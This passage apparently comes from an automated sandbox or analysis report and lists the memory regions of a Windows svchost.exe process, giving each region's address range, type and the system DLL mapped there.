	          end_va = 0x3c3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003bc0000"
	        filename = ""

Region:
	              id = 1186
	        start_va = 0x3d10000
	          end_va = 0x3d8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d10000"
	        filename = ""

Region:
	              id = 1187
	        start_va = 0x3d90000
	          end_va = 0x3f8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000003d90000"
	        filename = ""

Region:
	              id = 1188
	        start_va = 0x40c0000
	          end_va = 0x413ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000040c0000"
	        filename = ""

Region:
	              id = 1189
	        start_va = 0x42a0000
	          end_va = 0x435ffff
	     entry_point = 0x42a0000
	     region_type = mapped_file
	            name = "kernelbase.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui")

Region:
	              id = 1190
	        start_va = 0x43e0000
	          end_va = 0x44dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000043e0000"
	        filename = ""

Region:
	              id = 1191
	        start_va = 0x45a0000
	          end_va = 0x461ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000045a0000"
	        filename = ""

Region:
	              id = 1192
	        start_va = 0x4620000
	          end_va = 0x481ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004620000"
	        filename = ""

Region:
	              id = 1193
	        start_va = 0x4820000
	          end_va = 0x489ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004820000"
	        filename = ""

Region:
	              id = 1194
	        start_va = 0x48a0000
	          end_va = 0x491ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000048a0000"
	        filename = ""

Region:
	              id = 1195
	        start_va = 0x4950000
	          end_va = 0x49cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004950000"
	        filename = ""

Region:
	              id = 1196
	        start_va = 0x49d0000
	          end_va = 0x4acffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000049d0000"
	        filename = ""

Region:
	              id = 1197
	        start_va = 0x4ad0000
	          end_va = 0x4bcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ad0000"
	        filename = ""

Region:
	              id = 1198
	        start_va = 0x4bd0000
	          end_va = 0x4ccffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004bd0000"
	        filename = ""

Region:
	              id = 1199
	        start_va = 0x4cd0000
	          end_va = 0x4dcffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004cd0000"
	        filename = ""

Region:
	              id = 1200
	        start_va = 0x4dd0000
	          end_va = 0x4ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004dd0000"
	        filename = ""

Region:
	              id = 1201
	        start_va = 0x4ed0000
	          end_va = 0x5ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000004ed0000"
	        filename = ""

Region:
	              id = 1202
	        start_va = 0x5ed0000
	          end_va = 0x15ecffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000005ed0000"
	        filename = ""

Region:
	              id = 1203
	        start_va = 0x777e0000
	          end_va = 0x778fefff
	     entry_point = 0x777e0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1204
	        start_va = 0x77900000
	          end_va = 0x779f9fff
	     entry_point = 0x77900000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1205
	        start_va = 0x77a00000
	          end_va = 0x77ba8fff
	     entry_point = 0x77a00000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 1206
	        start_va = 0x77bc0000
	          end_va = 0x77bc6fff
	     entry_point = 0x77bc0000
	     region_type = mapped_file
	            name = "psapi.dll"
	        filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll")

Region:
	              id = 1207
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 1208
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 1209
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 1210
	        start_va = 0xffa70000
	          end_va = 0xffa7afff
	     entry_point = 0xffa70000
	     region_type = mapped_file
	            name = "svchost.exe"
	        filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe")

Region:
	              id = 1211
	        start_va = 0x7fef51d0000
	          end_va = 0x7fef5422fff
	     entry_point = 0x7fef51d0000
	     region_type = mapped_file
	            name = "wuaueng.dll"
	        filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll")

Region:
	              id = 1212
	        start_va = 0x7fef5850000
	          end_va = 0x7fef5ac9fff
	     entry_point = 0x7fef5850000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 1213
	        start_va = 0x7fef5ad0000
	          end_va = 0x7fef5b11fff
	     entry_point = 0x7fef5ad0000
	     region_type = mapped_file
	            name = "tcpipcfg.dll"
	        filename = "\\Windows\\System32\\tcpipcfg.dll" (normalized: "c:\\windows\\system32\\tcpipcfg.dll")

Region:
	              id = 1214
	        start_va = 0x7fef5b80000
	          end_va = 0x7fef5b9afff
	     entry_point = 0x7fef5b80000
	     region_type = mapped_file
	            name = "cabinet.dll"
	        filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll")

Region:
	              id = 1215
	        start_va = 0x7fef7070000
	          end_va = 0x7fef7089fff
	     entry_point = 0x7fef7070000
	     region_type = mapped_file
	            name = "rascfg.dll"
	        filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll")

Region:
	              id = 1216
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7139fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "mprapi.dll"
	        filename = "\\Windows\\System32\\mprapi.dll" (normalized: "c:\\windows\\system32\\mprapi.dll")

Region:
	              id = 1217
	        start_va = 0x7fef7c60000
	          end_va = 0x7fef7c6efff
	     entry_point = 0x7fef7c60000
	     region_type = mapped_file
	            name = "mspatcha.dll"
	        filename = "\\Windows\\System32\\mspatcha.dll" (normalized: "c:\\windows\\system32\\mspatcha.dll")

Region:
	              id = 1218
	        start_va = 0x7fef7c90000
	          end_va = 0x7fef7c9bfff
	     entry_point = 0x7fef7c90000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 1219
	        start_va = 0x7fef8140000
	          end_va = 0x7fef8159fff
	     entry_point = 0x7fef8140000
	     region_type = mapped_file
	            name = "nci.dll"
	        filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll")

Region:
	              id = 1220
	        start_va = 0x7fef8160000
	          end_va = 0x7fef81cafff
	     entry_point = 0x7fef8160000
	     region_type = mapped_file
	            name = "hnetcfg.dll"
	        filename = "\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll")

Region:
	              id = 1221
	        start_va = 0x7fef81d0000
	          end_va = 0x7fef81e8fff
	     entry_point = 0x7fef81d0000
	     region_type = mapped_file
	            name = "resutils.dll"
	        filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll")

Region:
	              id = 1222
	        start_va = 0x7fef81f0000
	          end_va = 0x7fef823ffff
	     entry_point = 0x7fef81f0000
	     region_type = mapped_file
	            name = "clusapi.dll"
	        filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll")

Region:
	              id = 1223
	        start_va = 0x7fef8240000
	          end_va = 0x7fef82b3fff
	     entry_point = 0x7fef8240000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 1224
	        start_va = 0x7fef82c0000
	          end_va = 0x7fef8343fff
	     entry_point = 0x7fef82c0000
	     region_type = mapped_file
	            name = "netcfgx.dll"
	        filename = "\\Windows\\System32\\netcfgx.dll" (normalized: "c:\\windows\\system32\\netcfgx.dll")

Region:
	              id = 1225
	        start_va = 0x7fef84f0000
	          end_va = 0x7fef8505fff
	     entry_point = 0x7fef84f0000
	     region_type = mapped_file
	            name = "ncprov.dll"
	        filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll")

Region:
	              id = 1226
	        start_va = 0x7fef8510000
	          end_va = 0x7fef8525fff
	     entry_point = 0x7fef8510000
	     region_type = mapped_file
	            name = "ncobjapi.dll"
	        filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll")

Region:
	              id = 1227
	        start_va = 0x7fef8530000
	          end_va = 0x7fef8537fff
	     entry_point = 0x7fef8530000
	     region_type = mapped_file
	            name = "sscore.dll"
	        filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll")

Region:
	              id = 1228
	        start_va = 0x7fef8540000
	          end_va = 0x7fef85bdfff
	     entry_point = 0x7fef8540000
	     region_type = mapped_file
	            name = "wbemess.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemess.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemess.dll")

Region:
	              id = 1229
	        start_va = 0x7fef85c0000
	          end_va = 0x7fef867bfff
	     entry_point = 0x7fef85c0000
	     region_type = mapped_file
	            name = "wmiprvsd.dll"
	        filename = "\\Windows\\System32\\wbem\\WmiPrvSD.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprvsd.dll")

Region:
	              id = 1230
	        start_va = 0x7fef8680000
	          end_va = 0x7fef86f2fff
	     entry_point = 0x7fef8680000
	     region_type = mapped_file
	            name = "repdrvfs.dll"
	        filename = "\\Windows\\System32\\wbem\\repdrvfs.dll" (normalized: "c:\\windows\\system32\\wbem\\repdrvfs.dll")

Region:
	              id = 1231
	        start_va = 0x7fef8700000
	          end_va = 0x7fef8725fff
	     entry_point = 0x7fef8700000
	     region_type = mapped_file
	            name = "wmiutils.dll"
	        filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll")

Region:
	              id = 1232
	        start_va = 0x7fef8730000
	          end_va = 0x7fef8743fff
	     entry_point = 0x7fef8730000
	     region_type = mapped_file
	            name = "wbemsvc.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll")

Region:
	              id = 1233
	        start_va = 0x7fef8750000
	          end_va = 0x7fef87befff
	     entry_point = 0x7fef8750000
	     region_type = mapped_file
	            name = "esscli.dll"
	        filename = "\\Windows\\System32\\wbem\\esscli.dll" (normalized: "c:\\windows\\system32\\wbem\\esscli.dll")

Region:
	              id = 1234
	        start_va = 0x7fef87c0000
	          end_va = 0x7fef88eefff
	     entry_point = 0x7fef87c0000
	     region_type = mapped_file
	            name = "wbemcore.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemcore.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemcore.dll")

Region:
	              id = 1235
	        start_va = 0x7fef9130000
	          end_va = 0x7fef921dfff
	     entry_point = 0x7fef9130000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 1236
	        start_va = 0x7fef9220000
	          end_va = 0x7fef9244fff
	     entry_point = 0x7fef9220000
	     region_type = mapped_file
	            name = "browser.dll"
	        filename = "\\Windows\\System32\\browser.dll" (normalized: "c:\\windows\\system32\\browser.dll")

Region:
	              id = 1237
	        start_va = 0x7fef9250000
	          end_va = 0x7fef928cfff
	     entry_point = 0x7fef9250000
	     region_type = mapped_file
	            name = "srvsvc.dll"
	        filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll")

Region:
	              id = 1238
	        start_va = 0x7fef9290000
	          end_va = 0x7fef92d6fff
	     entry_point = 0x7fef9290000
	     region_type = mapped_file
	            name = "wdscore.dll"
	        filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll")

Region:
	              id = 1239
	        start_va = 0x7fef9310000
	          end_va = 0x7fef9351fff
	     entry_point = 0x7fef9310000
	     region_type = mapped_file
	            name = "sqmapi.dll"
	        filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll")

Region:
	              id = 1240
	        start_va = 0x7fef9420000
	          end_va = 0x7fef94b1fff
	     entry_point = 0x7fef9420000
	     region_type = mapped_file
	            name = "iphlpsvc.dll"
	        filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll")

Region:
	              id = 1241
	        start_va = 0x7fef94c0000
	          end_va = 0x7fef94cefff
	     entry_point = 0x7fef94c0000
	     region_type = mapped_file
	            name = "wbemprox.dll"
	        filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll")

Region:
	              id = 1242
	        start_va = 0x7fef94e0000
	          end_va = 0x7fef9506fff
	     entry_point = 0x7fef94e0000
	     region_type = mapped_file
	            name = "ntdsapi.dll"
	        filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll")

Region:
	              id = 1243
	        start_va = 0x7fef9510000
	          end_va = 0x7fef95f1fff
	     entry_point = 0x7fef9510000
	     region_type = mapped_file
	            name = "fastprox.dll"
	        filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll")

Region:
	              id = 1244
	        start_va = 0x7fef99b0000
	          end_va = 0x7fef9a35fff
	     entry_point = 0x7fef99b0000
	     region_type = mapped_file
	            name = "wbemcomn.dll"
	        filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll")

Region:
	              id = 1245
	        start_va = 0x7fef9a40000
	          end_va = 0x7fef9a48fff
	     entry_point = 0x7fef9a40000
	     region_type = mapped_file
	            name = "tschannel.dll"
	        filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll")

Region:
	              id = 1246
	        start_va = 0x7fef9aa0000
	          end_va = 0x7fef9adffff
	     entry_point = 0x7fef9aa0000
	     region_type = mapped_file
	            name = "wmisvc.dll"
	        filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll")

Region:
	              id = 1247
	        start_va = 0x7fef9d40000
	          end_va = 0x7fef9d56fff
	     entry_point = 0x7fef9d40000
	     region_type = mapped_file
	            name = "vsstrace.dll"
	        filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll")

Region:
	              id = 1248
	        start_va = 0x7fef9d70000
	          end_va = 0x7fef9f1ffff
	     entry_point = 0x7fef9d70000
	     region_type = mapped_file
	            name = "vssapi.dll"
	        filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll")

Region:
	              id = 1249
	        start_va = 0x7fefa1b0000
	          end_va = 0x7fefa220fff
	     entry_point = 0x7fefa1b0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 1250
	        start_va = 0x7fefa400000
	          end_va = 0x7fefa463fff
	     entry_point = 0x7fefa400000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 1251
	        start_va = 0x7fefa470000
	          end_va = 0x7fefa4e0fff
	     entry_point = 0x7fefa470000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 1252
	        start_va = 0x7fefa580000
	          end_va = 0x7fefa587fff
	     entry_point = 0x7fefa580000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 1253
	        start_va = 0x7fefafc0000
	          end_va = 0x7fefafd0fff
	     entry_point = 0x7fefafc0000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 1254
	        start_va = 0x7fefb110000
	          end_va = 0x7fefb123fff
	     entry_point = 0x7fefb110000
	     region_type = mapped_file
	            name = "samcli.dll"
	        filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll")

Region:
	              id = 1255
	        start_va = 0x7fefb1e0000
	          end_va = 0x7fefb1eefff
	     entry_point = 0x7fefb1e0000
	     region_type = mapped_file
	            name = "ndiscapcfg.dll"
	        filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll")

Region:
	              id = 1256
	        start_va = 0x7fefb440000
	          end_va = 0x7fefb4b6fff
	     entry_point = 0x7fefb440000
	     region_type = mapped_file
	            name = "taskcomp.dll"
	        filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll")

Region:
	              id = 1257
	        start_va = 0x7fefb7e0000
	          end_va = 0x7fefb835fff
	     entry_point = 0x7fefb7e0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 1258
	        start_va = 0x7fefb840000
	          end_va = 0x7fefb85cfff
	     entry_point = 0x7fefb840000
	     region_type = mapped_file
	            name = "samlib.dll"
	        filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll")

Region:
	              id = 1259
	        start_va = 0x7fefbb80000
	          end_va = 0x7fefbb8efff
	     entry_point = 0x7fefbb80000
	     region_type = mapped_file
	            name = "wiarpc.dll"
	        filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll")

Region:
	              id = 1260
	        start_va = 0x7fefbb90000
	          end_va = 0x7fefbbc4fff
	     entry_point = 0x7fefbb90000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 1261
	        start_va = 0x7fefbbd0000
	          end_va = 0x7fefbbd9fff
	     entry_point = 0x7fefbbd0000
	     region_type = mapped_file
	            name = "ktmw32.dll"
	        filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll")

Region:
	              id = 1262
	        start_va = 0x7fefbbe0000
	          end_va = 0x7fefbcf1fff
	     entry_point = 0x7fefbbe0000
	     region_type = mapped_file
	            name = "schedsvc.dll"
	        filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll")

Region:
	              id = 1263
	        start_va = 0x7fefbd00000
	          end_va = 0x7fefbd14fff
	     entry_point = 0x7fefbd00000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 1264
	        start_va = 0x7fefbd20000
	          end_va = 0x7fefbd2bfff
	     entry_point = 0x7fefbd20000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 1265
	        start_va = 0x7fefbd30000
	          end_va = 0x7fefbd45fff
	     entry_point = 0x7fefbd30000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 1266
	        start_va = 0x7fefbd50000
	          end_va = 0x7fefbd58fff
	     entry_point = 0x7fefbd50000
	     region_type = mapped_file
	            name = "fvecerts.dll"
	        filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll")

Region:
	              id = 1267
	        start_va = 0x7fefbd60000
	          end_va = 0x7fefbd68fff
	     entry_point = 0x7fefbd60000
	     region_type = mapped_file
	            name = "tbs.dll"
	        filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll")

Region:
	              id = 1268
	        start_va = 0x7fefbd70000
	          end_va = 0x7fefbdc5fff
	     entry_point = 0x7fefbd70000
	     region_type = mapped_file
	            name = "fveapi.dll"
	        filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll")

Region:
	              id = 1269
	        start_va = 0x7fefbdd0000
	          end_va = 0x7fefbde7fff
	     entry_point = 0x7fefbdd0000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 1270
	        start_va = 0x7fefbdf0000
	          end_va = 0x7fefbe4dfff
	     entry_point = 0x7fefbdf0000
	     region_type = mapped_file
	            name = "shsvcs.dll"
	        filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll")

Region:
	              id = 1271
	        start_va = 0x7fefbe50000
	          end_va = 0x7fefbe60fff
	     entry_point = 0x7fefbe50000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 1272
	        start_va = 0x7fefbe80000
	          end_va = 0x7fefbed2fff
	     entry_point = 0x7fefbe80000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 1273
	        start_va = 0x7fefbfc0000
	          end_va = 0x7fefbfcafff
	     entry_point = 0x7fefbfc0000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 1274
	        start_va = 0x7fefbfd0000
	          end_va = 0x7fefbff6fff
	     entry_point = 0x7fefbfd0000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 1275
	        start_va = 0x7fefc030000
	          end_va = 0x7fefc043fff
	     entry_point = 0x7fefc030000
	     region_type = mapped_file
	            name = "sens.dll"
	        filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll")

Region:
	              id = 1276
	        start_va = 0x7fefc050000
	          end_va = 0x7fefc060fff
	     entry_point = 0x7fefc050000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 1277
	        start_va = 0x7fefc070000
	          end_va = 0x7fefc0d6fff
	     entry_point = 0x7fefc070000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 1278
	        start_va = 0x7fefc0e0000
	          end_va = 0x7fefc0eafff
	     entry_point = 0x7fefc0e0000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 1279
	        start_va = 0x7fefc0f0000
	          end_va = 0x7fefc0fbfff
	     entry_point = 0x7fefc0f0000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 1280
	        start_va = 0x7fefc100000
	          end_va = 0x7fefc2f3fff
	     entry_point = 0x7fefc100000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 1281
	        start_va = 0x7fefc470000
	          end_va = 0x7fefc47ffff
	     entry_point = 0x7fefc470000
	     region_type = mapped_file
	            name = "themeservice.dll"
	        filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll")

Region:
	              id = 1282
	        start_va = 0x7fefc480000
	          end_va = 0x7fefc498fff
	     entry_point = 0x7fefc480000
	     region_type = mapped_file
	            name = "atl.dll"
	        filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll")

Region:
	              id = 1283
	        start_va = 0x7fefc4a0000
	          end_va = 0x7fefc4d6fff
	     entry_point = 0x7fefc4a0000
	     region_type = mapped_file
	            name = "profsvc.dll"
	        filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll")

Region:
	              id = 1284
	        start_va = 0x7fefc510000
	          end_va = 0x7fefc524fff
	     entry_point = 0x7fefc510000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 1285
	        start_va = 0x7fefc530000
	          end_va = 0x7fefc5f1fff
	     entry_point = 0x7fefc530000
	     region_type = mapped_file
	            name = "gpsvc.dll"
	        filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll")

Region:
	              id = 1286
	        start_va = 0x7fefc6b0000
	          end_va = 0x7fefc6dcfff
	     entry_point = 0x7fefc6b0000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 1287
	        start_va = 0x7fefc6e0000
	          end_va = 0x7fefc6fcfff
	     entry_point = 0x7fefc6e0000
	     region_type = mapped_file
	            name = "mmcss.dll"
	        filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll")

Region:
	              id = 1288
	        start_va = 0x7fefc700000
	          end_va = 0x7fefc708fff
	     entry_point = 0x7fefc700000
	     region_type = mapped_file
	            name = "avrt.dll"
	        filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll")

Region:
	              id = 1289
	        start_va = 0x7fefc710000
	          end_va = 0x7fefc83bfff
	     entry_point = 0x7fefc710000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 1290
	        start_va = 0x7fefcb10000
	          end_va = 0x7fefcb1bfff
	     entry_point = 0x7fefcb10000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 1291
	        start_va = 0x7fefcb20000
	          end_va = 0x7fefcbdafff
	     entry_point = 0x7fefcb20000
	     region_type = mapped_file
	            name = "firewallapi.dll"
	        filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll")

Region:
	              id = 1292
	        start_va = 0x7fefcbe0000
	          end_va = 0x7fefcbe6fff
	     entry_point = 0x7fefcbe0000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 1293
	        start_va = 0x7fefcca0000
	          end_va = 0x7fefccacfff
	     entry_point = 0x7fefcca0000
	     region_type = mapped_file
	            name = "pcwum.dll"
	        filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll")

Region:
	              id = 1294
	        start_va = 0x7fefcce0000
	          end_va = 0x7fefccfafff
	     entry_point = 0x7fefcce0000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 1295
	        start_va = 0x7fefcd00000
	          end_va = 0x7fefcd1dfff
	     entry_point = 0x7fefcd00000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
